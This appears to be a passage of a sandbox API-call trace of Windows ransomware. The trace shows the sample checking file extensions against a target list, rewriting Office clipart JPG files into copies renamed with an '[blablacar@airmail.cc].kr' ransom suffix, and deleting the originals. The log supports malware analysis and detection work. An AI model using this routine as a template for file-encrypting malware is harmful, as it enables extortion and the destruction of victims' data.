lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.408] lstrlenW (lpString=".zip") returned 4 [0215.408] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.408] lstrlenW (lpString=".rar") returned 4 [0215.408] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.408] lstrlenW (lpString=".bz2") returned 4 [0215.408] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.408] lstrlenW (lpString=".7z") returned 3 [0215.408] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.408] lstrlenW (lpString=".dbf") returned 4 [0215.408] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.408] lstrlenW (lpString=".1cd") returned 4 [0215.408] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.408] lstrlenW (lpString=".jpg") returned 4 [0215.408] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.408] lstrlenW (lpString=".doc") returned 4 [0215.408] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.409] lstrlenW (lpString=".docx") returned 5 [0215.409] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0215.409] lstrlenW (lpString=".pdf") returned 4 [0215.409] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.409] lstrlenW (lpString=".xls") returned 4 [0215.409] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.409] lstrlenW (lpString=".xlsx") returned 5 [0215.409] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0215.409] lstrlenW (lpString=".ppt") returned 4 [0215.409] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.409] lstrlenW (lpString=".zip") returned 4 [0215.409] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.409] lstrlenW (lpString=".rar") returned 4 [0215.409] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.409] lstrlenW (lpString=".bz2") returned 4 [0215.409] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.409] lstrlenW (lpString=".7z") returned 3 [0215.409] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.409] lstrlenW (lpString=".dbf") returned 4 [0215.409] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.409] lstrlenW (lpString=".1cd") returned 4 [0215.409] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0215.409] lstrlenW (lpString=".jpg") returned 4 [0215.409] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.409] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.409] lstrlenW (lpString="J0148309.JPG") returned 12 [0215.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0215.411] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=43674) returned 1 [0215.411] CloseHandle (hObject=0x56c) returned 1 [0215.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 0x220 [0215.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0215.412] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.412] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.413] GetLastError () returned 0x0 [0215.413] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xaa9a, lpOverlapped=0x0) returned 1 [0215.416] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xaaa0, lpOverlapped=0x0) returned 1 [0215.417] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.417] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.417] SetEndOfFile (hFile=0x378) returned 1 [0215.417] CloseHandle (hObject=0x378) returned 1 [0215.417] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.417] SetEndOfFile (hFile=0x56c) returned 1 [0215.420] CloseHandle (hObject=0x56c) returned 1 [0215.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0215.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.423] lstrlenW (lpString=".doc") returned 4 [0215.423] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.423] lstrlenW (lpString=".docx") returned 5 [0215.423] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0215.423] lstrlenW (lpString=".pdf") returned 4 [0215.423] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.423] lstrlenW (lpString=".xls") returned 4 [0215.423] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.423] lstrlenW (lpString=".xlsx") returned 5 [0215.423] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0215.423] lstrlenW (lpString=".ppt") returned 4 [0215.423] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.423] lstrlenW (lpString=".zip") returned 4 [0215.423] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.423] lstrlenW (lpString=".rar") returned 4 [0215.423] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.423] lstrlenW (lpString=".bz2") returned 4 [0215.423] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.423] lstrlenW (lpString=".7z") returned 3 [0215.423] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.423] lstrlenW (lpString=".dbf") returned 4 [0215.423] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.424] lstrlenW (lpString=".1cd") returned 4 [0215.424] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.424] lstrlenW (lpString=".jpg") returned 4 [0215.424] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.424] lstrlenW (lpString=".doc") returned 4 [0215.424] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.424] lstrlenW (lpString=".docx") returned 5 [0215.424] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0215.424] lstrlenW (lpString=".pdf") returned 4 [0215.424] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.424] lstrlenW (lpString=".xls") returned 4 [0215.424] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.424] lstrlenW (lpString=".xlsx") returned 5 [0215.424] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0215.424] lstrlenW (lpString=".ppt") returned 4 [0215.424] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.424] lstrlenW (lpString=".zip") returned 4 [0215.424] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.424] lstrlenW (lpString=".rar") returned 4 [0215.424] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.424] lstrlenW (lpString=".bz2") returned 4 [0215.424] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.424] lstrlenW (lpString=".7z") returned 3 [0215.424] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.424] lstrlenW (lpString=".dbf") returned 4 [0215.424] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.425] lstrlenW (lpString=".1cd") returned 4 [0215.425] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0215.425] lstrlenW (lpString=".jpg") returned 4 [0215.425] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.425] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.425] lstrlenW (lpString="J0148757.JPG") returned 12 [0215.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0215.426] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=67540) returned 1 [0215.426] CloseHandle (hObject=0x56c) returned 1 [0215.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 0x220 [0215.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0215.426] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.426] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.427] GetLastError () returned 0x0 [0215.427] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x107d4, lpOverlapped=0x0) returned 1 [0215.687] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x107e0, lpOverlapped=0x0) returned 1 [0215.689] ReadFile (in: hFile=0x56c, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.689] WriteFile (in: hFile=0x378, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.689] SetEndOfFile (hFile=0x378) returned 1 [0215.689] CloseHandle (hObject=0x378) returned 1 [0215.689] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.689] SetEndOfFile (hFile=0x56c) returned 1 [0215.700] CloseHandle (hObject=0x56c) returned 1 [0215.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0215.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.701] lstrlenW (lpString=".doc") returned 4 [0215.701] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.701] lstrlenW (lpString=".docx") returned 5 [0215.702] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0215.702] lstrlenW (lpString=".pdf") returned 4 [0215.702] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.702] lstrlenW (lpString=".xls") returned 4 [0215.702] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.702] lstrlenW (lpString=".xlsx") returned 5 [0215.702] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0215.702] lstrlenW (lpString=".ppt") returned 4 [0215.702] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.702] lstrlenW (lpString=".zip") returned 4 [0215.702] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.702] lstrlenW (lpString=".rar") returned 4 [0215.702] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.702] lstrlenW (lpString=".bz2") returned 4 [0215.702] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.702] lstrlenW (lpString=".7z") returned 3 [0215.702] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.702] lstrlenW (lpString=".dbf") returned 4 [0215.702] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.702] lstrlenW (lpString=".1cd") returned 4 [0215.702] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.702] lstrlenW (lpString=".jpg") returned 4 [0215.702] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.702] lstrlenW (lpString=".doc") returned 4 [0215.702] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.702] lstrlenW (lpString=".docx") returned 5 [0215.702] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0215.703] lstrlenW (lpString=".pdf") returned 4 [0215.703] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.703] lstrlenW (lpString=".xls") returned 4 [0215.703] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.703] lstrlenW (lpString=".xlsx") returned 5 [0215.703] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0215.703] lstrlenW (lpString=".ppt") returned 4 [0215.703] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.703] lstrlenW (lpString=".zip") returned 4 [0215.703] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.703] lstrlenW (lpString=".rar") returned 4 [0215.703] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.703] lstrlenW (lpString=".bz2") returned 4 [0215.703] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.703] lstrlenW (lpString=".7z") returned 3 [0215.703] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.703] lstrlenW (lpString=".dbf") returned 4 [0215.703] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0215.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.703] lstrlenW (lpString=".1cd") returned 4 [0215.703] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0215.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0215.703] lstrlenW (lpString=".jpg") returned 4 [0215.703] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0215.703] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0215.703] lstrlenW (lpString="J0149018.JPG") returned 12 [0215.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.715] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=27393) returned 1 [0215.715] CloseHandle (hObject=0x378) returned 1 [0215.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220 [0215.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0215.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0215.716] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.716] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0215.717] GetLastError () returned 0x0 [0215.717] ReadFile (in: hFile=0x378, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x6b01, lpOverlapped=0x0) returned 1 [0215.719] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x6b10, lpOverlapped=0x0) returned 1 [0215.720] ReadFile (in: hFile=0x378, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0215.720] WriteFile (in: hFile=0x550, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0215.720] SetEndOfFile (hFile=0x550) returned 1 [0215.720] CloseHandle (hObject=0x550) returned 1 [0215.720] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0215.720] SetEndOfFile (hFile=0x378) returned 1 [0215.723] CloseHandle (hObject=0x378) returned 1 [0215.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0215.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0215.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.724] lstrlenW (lpString=".doc") returned 4 [0215.724] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0215.724] lstrlenW (lpString=".docx") returned 5 [0215.724] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0215.724] lstrlenW (lpString=".pdf") returned 4 [0215.724] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0215.725] lstrlenW (lpString=".xls") returned 4 [0215.725] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0215.725] lstrlenW (lpString=".xlsx") returned 5 [0215.725] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0215.725] lstrlenW (lpString=".ppt") returned 4 [0215.725] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0215.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0215.725] lstrlenW (lpString=".zip") returned 4 [0215.725] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0215.725] lstrlenW (lpString=".rar") returned 4 [0215.725] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0215.725] lstrlenW (lpString=".bz2") returned 4 [0215.725] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0215.725] lstrlenW (lpString=".7z") returned 3 [0215.725] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0215.725] lstrlenW (lpString="C:\\Program Files\\Microsoft 